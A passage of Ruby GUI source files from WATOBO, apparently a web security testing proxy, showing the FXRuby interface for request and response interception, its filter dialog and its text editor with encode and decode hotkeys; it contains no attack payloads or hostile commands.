KEY_Return, because we don't want a linebreak in textbox. end if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [ " - Reset Filter", " - Goto Next", " - Goto Prev" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed case event.code when KEY_n if show_next @match_pos_label.text = "#{@match_pos+1}/#{@text_matches.length}" end when KEY_N if show_prev @match_pos_label.text = "#{@match_pos+1}/#{@text_matches.length}" end when KEY_r resetFilter() end end state } widget.connect(SEL_KEYRELEASE) { |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end end end end watobo-1.0.1/lib/watobo/gui/intercept_filter_dialog.rb000066400000000000000000000246151366346341400230610ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class InterceptFilterDialog < FXDialogBox include Responder def getRequestFilter() @request_filter end def getResponseFilter() @response_filter end def initialize(owner, settings = {} ) super(owner, "Rewrite Settings", DECOR_ALL, :width => 300, :height => 425) @request_filter = { } @response_filter = { } @request_filter.update settings[:request_filter_settings] @response_filter.update settings[:response_filter_settings] FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @tabbook = FXTabBook.new(base_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X) @req_opt_tab = FXTabItem.new(@tabbook, "Request Options", nil) frame = FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_window = FXScrollWindow.new(frame, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) @req_opt_frame = FXVerticalFrame.new(scroll_window, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @resp_opt_tab = FXTabItem.new(@tabbook, "Response Options", nil) frame= FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_window = FXScrollWindow.new(frame, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) @resp_opt_frame = FXVerticalFrame.new(scroll_window, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) initRequestFilterFrame() updateRequestFilterFrame() initResponseFilterFrame() updateResponseFilterFrame() @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) #TODO: Check if regex is valid @request_filter[:method_filter] = @method_filter_dt.value @request_filter[:negate_method_filter] = @neg_method_filter_cb.checked? @request_filter[:negate_url_filter] = @neg_url_filter_cb.checked? @request_filter[:url_filter] = @url_filter_dt.value @request_filter[:file_type_filter] = @ftype_filter_dt.value @request_filter[:negate_file_type_filter] = @neg_ftype_filter_cb.checked? @request_filter[:parms_filter] = @parms_filter_dt.value @request_filter[:negate_parms_filter] = @neg_parms_filter_cb.checked? @response_filter[:content_type_filter] = @content_type_filter_dt.value @response_filter[:negate_content_type_filter] = @neg_ctype_filter_cb.checked? @response_filter[:response_code_filter] = @rcode_filter_dt.value @response_filter[:negate_response_code_filter] = @neg_rcode_filter_cb.checked? getApp().stopModal(self, 1) self.hide() return 1 end def updateRequestFilterFrame() @parms_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @url_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @ftype_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @method_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def updateResponseFilterFrame() @content_type_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @rcode_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @neg_rcode_filter_cb.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @neg_ctype_filter_cb.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def initResponseFilterFrame() gbframe = FXGroupBox.new(@resp_opt_frame, "Content Type", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP Content-Type. E.g., '(text|script)'" fxtext.setText(text) @content_type_filter_dt = FXDataTarget.new('') @content_type_filter_dt.value = @response_filter[:content_type_filter] @content_type_filter = FXTextField.new(frame, 20, :target => @content_type_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_ctype_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_ctype_filter_cb.checkState = @response_filter[:negate_content_type_filter] gbframe = FXGroupBox.new(@resp_opt_frame, "Response Code", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP Content-Type. E.g., '200'" fxtext.setText(text) @rcode_filter_dt = FXDataTarget.new('') @rcode_filter_dt.value = @response_filter[:response_code_filter] @rcode_filter = FXTextField.new(frame, 20, :target => @rcode_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_rcode_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_rcode_filter_cb.checkState = @response_filter[:negate_response_code_filter] end def initRequestFilterFrame() gbframe = FXGroupBox.new(@req_opt_frame, "URL Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular Expression Filter For URL. E.g., '.*www.mysite.com.*login.php'" fxtext.setText(text) @url_filter_dt = FXDataTarget.new('') @url_filter_dt.value = @request_filter[:url_filter] @url_filter = FXTextField.new(frame, 20, :target => @url_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_url_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_url_filter_cb.checkState = false @neg_url_filter_cb.checkState = @request_filter[:negate_url_filter] gbframe = FXGroupBox.new(@req_opt_frame, "Method Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP method. E.g., '(get|PoSt)'" fxtext.setText(text) @method_filter_dt = FXDataTarget.new('') @method_filter_dt.value = @request_filter[:method_filter] @method_filter = FXTextField.new(frame, 20, :target => @method_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_method_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_method_filter_cb.checkState = @request_filter[:negate_method_filter] gbframe = FXGroupBox.new(@req_opt_frame, "Parm Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular Expression Filter For Parameter Names. E.g., for intercepting requests containing parameters beginning with 'act' use the regex pattern '^act.*' (without single quotes)" fxtext.setText(text) @parms_filter_dt = FXDataTarget.new('') @parms_filter_dt.value = @request_filter[:parms_filter] @parms_filter = FXTextField.new(frame, 20, :target => @parms_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_parms_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_parm_filter_cb.checkState = false @neg_parms_filter_cb.checkState = @request_filter[:negate_parms_filter] gbframe = FXGroupBox.new(@req_opt_frame, "File Type Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for file types by its extension. E.g., for intercepting requests where file type is PHP use '^php$' (without single quotes)" fxtext.setText(text) @ftype_filter_dt = FXDataTarget.new('') @ftype_filter_dt.value = @request_filter[:file_type_filter] @ftype_filter = FXTextField.new(frame, 20, :target => @ftype_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_ftype_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_parm_filter_cb.checkState = false @neg_ftype_filter_cb.checkState = @request_filter[:negate_file_type_filter] end end end endwatobo-1.0.1/lib/watobo/gui/interceptor_gui.rb000077500000000000000000001176101366346341400214030ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class InterceptEditor < FXVerticalFrame include Watobo::Constants include Watobo::Interceptor include Watobo::Gui::Utils def initialize(owner, opts) super(owner, opts) @lock = Mutex.new @text = nil @event_dispatcher_listeners = Hash.new text_view_header = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_HEIGHT, :height => 24, :padding => 0) #@auto_apply_cbtn.connect(SEL_COMMAND, method(:onInterceptChanged)) @pmatch_btn = FXButton.new(text_view_header, "<", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @pmatch_btn.disable @pmatch_btn.connect(SEL_COMMAND) { if @textbox.numMatches > 0 @match_pos_label.textColor = 'black' pos = @textbox.showPrevMatch() + 1 @match_pos_label.text = "#{pos}/#{@textbox.numMatches}" else @match_pos_label.textColor = 'grey' end } @match_pos_label = FXLabel.new(text_view_header, "0/0", :opts => LAYOUT_FILL_Y) @match_pos_label.textColor = 'grey' @nmatch_btn = FXButton.new(text_view_header, ">", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @nmatch_btn.disable @nmatch_btn.connect(SEL_COMMAND) { @textbox.showNextMatch() if @textbox.numMatches > 0 @match_pos_label.textColor = 'black' pos = @textbox.showNextMatch() + 1 @match_pos_label.text = "#{pos}/#{@textbox.numMatches}" else @match_pos_label.textColor = 'grey' end } @filter_dt = FXDataTarget.new('') # @filter_text = FXTextField.new(text_view_header, 10, # :target => @filter_dt, :selector => FXDataTarget::ID_VALUE, # :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_text = FXComboBox.new(text_view_header, 20, @filter_dt, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @filter_text.connect(SEL_COMMAND) { applyFilter() addFilterHistory() } @filter_text.connect(SEL_CHANGED) { applyFilter() } inputFieldHotkeyHandler(@filter_text) @auto_select_cbtn = FXCheckButton.new(text_view_header, "auto-select", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) #@mode_btn = FXButton.new(text_view_header, "Highlight", :opts=> MENUBUTTON_DOWN|FRAME_RAISED|FRAME_THICK|ICON_AFTER_TEXT|LAYOUT_RIGHT|LAYOUT_FILL_Y) reset_button = FXButton.new(text_view_header, "&Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y) reset_button.connect(SEL_COMMAND) { resetTextbox() } #----------------------- text_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @textbox_dt = FXDataTarget.new('') @textbox = Watobo::Gui::TextView2.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # @textbox = Watobo::Gui::TextView2.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # @textbox = FXText.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # @textbox = FXText.new(text_frame, :target => @textbox_dt, :selector => FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @textbox.textStyle -= TEXT_WORDWRAP @textbox.extend Watobo::Mixins::RequestParser @textbox.editable = true @markers = [] @record_input = false # EXPERIMENTAL !!! @last_cursor_pos = 0 @start_selection_pos = 0 @input_start = 0 @input_len = 0 @textbox.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| addStringInfo(menu_pane, sender) addDecoder(menu_pane, sender) addEncoder(menu_pane, sender) FXMenuSeparator.new(menu_pane) target = FXMenuCheck.new(menu_pane, "word wrap") target.check = (@textbox.textStyle & TEXT_WORDWRAP > 0) ? true : false target.connect(SEL_COMMAND) { |tsender, tsel, titem| if tsender.checked? @textbox.textStyle |= TEXT_WORDWRAP else @textbox.textStyle ^= TEXT_WORDWRAP end } menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end # KEY_Return # KEY_Control_L # KEY_Control_R # KEY_s @ctrl_pressed = false @textbox.connect(SEL_KEYPRESS, method(:initEditKeys)) @textbox.connect(SEL_KEYRELEASE) do |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false end end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def empty? @textbox.to_s.empty? end def clear @textbox.setText('') end def setText(text=nil) return false if text.nil? if text.is_a? Array new_text = text.join else new_text = "#{text}" end @lock.synchronize do @text = new_text.strip.gsub(/\r/, '') unless @text.empty? @textbox.setText @text end end # @textbox.handle(self, FXSEL(SEL_UPDATE, 0), nil) #@textbox.update end def parseRequest(prefs={}) begin return @textbox.to_request(prefs) rescue SyntaxError, LocalJumpError, NameError notify(:error, "#{$!}") rescue => bang puts bang puts bang.backtrace if $DEBUG notify(:error, "Could not parse request: #{$!}") end return nil end def to_response(prefs={}) begin return @textbox.to_response(prefs) rescue SyntaxError, LocalJumpError, NameError # puts bang # puts bang.backtrace if $DEBUG notify(:error, "#{$!}") rescue => bang puts bang notify(:error, "Could not parse request: #{$!}") end return nil end private def recordedText @textbox.extractText(@input_start, @input_len) end def applyFilter pattern = @filter_text.text @textbox.reset_text @match_pos_label.textColor = 'grey' @match_pos_label.text = "0/0" return true if pattern == '' @textbox.applyFilter(pattern) if @textbox.numMatches > 0 @match_pos_label.text = "1/#{@textbox.numMatches}" #@match_pos_label.enable @match_pos_label.textColor = 'black' @textbox.showMatch(0, :select_match => @auto_select_cbtn.checked?) @nmatch_btn.enable @pmatch_btn.enable else @nmatch_btn.disable @pmatch_btn.disable end # puts "got #{matches.length} matches for pattern #{Regexp.quote(pattern)}" end def inputFieldHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) { |sender, sel, event| # puts event.code @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return applyFilter() @textbox.setFocus() @textbox.setDefault() @textbox.showMatch(0, :select_match => @auto_select_cbtn.checked?) true # special handling of KEY_Return, because we don't want a linebreak in textbox. end if @ctrl_pressed case event.code when KEY_w @textbox.textStyle ^= TEXT_WORDWRAP when KEY_n @textbox.showNextMatch() addFilterHistory() when KEY_N @textbox.showPrevMatch() addFilterHistory() when KEY_r @textbox.reset_filter() end end if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [" - Reset Filter", " - Goto Next", " - Goto Prev", " - Switch Wordwrap" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end true else false end } widget.connect(SEL_KEYRELEASE) { |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end def initEditKeys(sender, sel, event) # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [" - Reset Filter", " - Goto Next", " - Goto Prev", " - Switch Wordwrap", " - Encode Base64", " - Decode Base64", " - Encode URL", " - Decode URL", ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed return true if event.code == KEY_Control_L or event.code == KEY_Control_R if event.code == KEY_Return notify(:hotkey_ctrl_enter) true # special handling of KEY_Return, because we don't want a linebreak in textbox. else case event.code when KEY_w @textbox.textStyle ^= TEXT_WORDWRAP when KEY_n @textbox.showNextMatch() addFilterHistory() when KEY_N @textbox.showPrevMatch() addFilterHistory() when KEY_r resetTextbox() end pos = @textbox.selStartPos len = @textbox.selEndPos - pos if len == 0 then pos = @input_start len = @input_len end unless len==0 text = @textbox.extractText(pos, len) rptxt = case event.code when KEY_u CGI::escape(text).strip when KEY_b Base64.encode64(text).strip when KEY_U CGI::unescape(text).strip when KEY_B Base64.decode64(text).strip else text end @textbox.replaceText(pos, len, rptxt, false) @textbox.setSelection(pos, rptxt.length) end false end else @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R false end end def addFilterHistory() text = @filter_text.text return true if text == '' has_item = false @filter_text.each do |item, data| has_item = true if data == text end @filter_text.appendItem(text, text) unless has_item == true @filter_text.numVisible = @filter_text.numItems end def resetTextbox() @textbox.setPrintable(@text) @textbox.reset_text @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end class InterceptorUI < FXTopWindow include Responder include Watobo include Watobo::Interceptor include Watobo::Gui::Icons def execute create show(PLACEMENT_SCREEN) # getApp().runModalFor(self) end # this method is obsolet! Use addRequest() instead def modifyRequest(request, thread) addRequest(request, thread) end # this method is obsolet! Use addResponse() instead def modifyResponse(request, thread) addResponse(request, thread) end def addRequest(request, thread) puts "* [Interceptor] addRequest" new_request = { :request => request, :thread => thread } @request_lock.synchronize do Watobo.save_thread do # enable_buttons() #@request_queue << new_request @request_list << new_request if @request_list.length > 0 and @request_box_available @requestbox.setRequest @request_list.first[:request] @request_box_available = false end @request_tab.text = "Request (#{@request_list.length})" update_buttons end end # enable_buttons() end def addResponse(response, thread) response.extend Watobo::Mixin::Parser::Web10 response.extend Watobo::Mixin::Shaper::Web10 response.fixupContentLength() # puts response new_response = { :response => response, :thread => thread } @response_lock.synchronize do Watobo.save_thread do #@response_queue.push new_response @response_list << new_response if @response_list.length > 0 and @response_box_available # @responsebox.setText @response_list.first[:response] @responsebox.setRequest @response_list.first[:response] @response_box_available = false end end @response_tab.text = "Response (#{@response_list.length})" update_buttons end end def initialize(owner, opts) # Invoke base class initialize function first super(owner, 'Interceptor', nil, nil, # DECOR_ALL|DECOR_TITLE|DECOR_BORDER|DECOR_RESIZE, 0, 0, 600, 400, 0, 0, 0, 0, 0, 0) DECOR_ALL, 0, 0, 600, 400, 0, 0, 0, 0, 0, 0) self.decorations = DECOR_ALL self.connect(SEL_CLOSE, method(:onClose)) self.icon = ICON_INTERCEPTOR #@interceptor = interceptor @request_list = [] @response_list = [] @request_queue = [] @response_queue = [] @request_lock = Mutex.new @response_lock = Mutex.new @request_box_available = true @response_box_available = true # initial frame setup mr_splitter = FXSplitter.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|SPLITTER_VERTICAL|SPLITTER_REVERSED|SPLITTER_TRACKING) top_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y||LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM, :height => 500) top_splitter = FXSplitter.new(top_frame, LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) #log_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM,:height => 100) filter_frame = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y||LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM) gbframe = FXGroupBox.new(filter_frame, "Intercept", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # FXLabel.new(filter_frame, "Intercept:" ) @intercept_request = FXCheckButton.new(frame, "Requests", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @intercept_request.connect(SEL_COMMAND, method(:onInterceptChanged)) @intercept_response = FXCheckButton.new(frame, "Response", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @intercept_response.connect(SEL_COMMAND, method(:onInterceptChanged)) @filter_options_btn = FXButton.new(frame, "Options", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) @filter_options_btn.connect(SEL_COMMAND, method(:onBtnFilterOptions)) gbframe = FXGroupBox.new(filter_frame, "Rewrite", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) #FXLabel.new(filter_frame, "Rewrite:" ) @rewrite_request = FXCheckButton.new(frame, "Requests", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @rewrite_request.connect(SEL_COMMAND, method(:onInterceptChanged)) @rewrite_response = FXCheckButton.new(frame, "Response", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @rewrite_response.connect(SEL_COMMAND, method(:onInterceptChanged)) @rewrite_options_btn = FXButton.new(frame, "Options", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) @rewrite_options_btn.connect(SEL_COMMAND) { open_rewrite_options_dialog } #@intercept_request.checkState = false #@intercept_response.checkState = false if Watobo::Interceptor.active? @intercept_request.checkState = Watobo::Interceptor.intercept_requests? @intercept_response.checkState = Watobo::Interceptor.intercept_requests? end view_frame = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y||LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM) @tabBook = FXTabBook.new(view_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) button_frame = FXHorizontalFrame.new(view_frame, LAYOUT_FILL_X) @tabBook.connect(SEL_COMMAND) { |sender, sel, item| case item when 0 enable_buttons if @request_list.length > 0 when 1 enable_buttons if @response_list.length > 0 end } @request_tab = FXTabItem.new(@tabBook, "Request (0)", nil) request_frame_outer = FXVerticalFrame.new(@tabBook, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # request_frame = FXVerticalFrame.new(request_frame_outer, LAYOUT_FILL_X|LAYOUT_FILL_Y) # @requestbox = Watobo::Gui::InterceptEditor.new(request_frame_outer, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @requestbox = Watobo::Gui::RequestBuilder.new(request_frame_outer, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @response_tab = FXTabItem.new(@tabBook, "Response (0)", nil) response_frame_outer = FXVerticalFrame.new(@tabBook, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) #response_frame = FXVerticalFrame.new(response_frame_outer, LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding=>0) # @responsebox = Watobo::Gui::RequestEditor.new(response_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y ) #@responsebox = Watobo::Gui::InterceptEditor.new(response_frame_outer, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @responsebox = Watobo::Gui::RequestBuilder.new(response_frame_outer, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # @responsebox.editable = true @accept_button = FXButton.new(button_frame, "Accept", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) @accept_button.connect(SEL_COMMAND, method(:onAcceptChanges)) @discard_button = FXButton.new(button_frame, "Discard", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) @discard_button.connect(SEL_COMMAND, method(:onDiscard)) @drop_button = FXButton.new(button_frame, "Drop", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_LEFT) @drop_button.connect(SEL_COMMAND, method(:onDrop)) # log_text_frame = FXVerticalFrame.new(log_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding=>0) # @log_viewer = FXText.new(log_text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) disable_buttons() =begin # start an update timer Watobo.save_thread{ @request_lock.synchronize do unless @request_queue.empty? @request_list.concat @request_queue @request_queue.clear @request_tab.text = "Request (#{@request_list.length})" end if @request_list.length > 0 and @request_box_available @requestbox.setRequest @request_list.first[:request] @request_box_available = false end end @response_lock.synchronize do unless @response_queue.empty? @response_list.concat @response_queue @response_queue.clear @response_tab.text = "Response (#{@response_list.length})" end if @response_list.length > 0 and @response_box_available # @responsebox.setText @response_list.first[:response] @responsebox.setRequest @response_list.first[:response] @response_box_available = false end end update_buttons } =end end def releaseAll() # puts "* closing interceptor" # puts "* disable all interceptions" #@project.intercept_request = false #@project.intercept_response = false # puts "* release all interceptions ..." @request_list.each do |ir| ir[:thread].run end @response_list.each do |ir| ir[:thread].run end end private def onAcceptChanges(sender, sel, ptr) if @tabBook.current == 0 then begin @request_lock.synchronize do request = @request_list.shift if not request.nil? request[:request].clear request[:request].concat @requestbox.parseRequest @requestbox.clear @request_box_available = true Watobo.print_debug(self.class.to_s, "release thread #{request[:thread]}") request[:thread].run @request_tab.text = "Request (#{@request_list.length})" #getNextRequest() unless @request_list.empty? @requestbox.setRequest @request_list.first[:request] end else puts "* [INTERCEPTOR] NOTHING TO RELEASE" end end rescue => bang puts "!!! Error" puts bang end else begin @response_lock.synchronize do response = @response_list.shift if not response.nil? response[:response].clear #new_response = @responsebox.to_response(:update_content_length => true) new_response = @responsebox.parseRequest #puts new_response.class response[:response].concat new_response #puts new_response response[:thread].run @responsebox.clear @response_box_available = true @response_tab.text = "Response (#{@response_list.length})" unless @response_list.empty? @responsebox.setRequest @response_list.first[:response] end end end rescue => bang puts "!!! Error" puts bang puts bang.backtrace end end end def onDrop(sender, sel, ptr) if @tabBook.current == 0 then @request_lock.synchronize do request = @request_list.first if request request[:request].clear request[:thread].kill @request_list.shift @requestbox.clear @request_box_available = true end @request_tab.text = "Request (#{@request_list.length})" end #getNextRequest() else 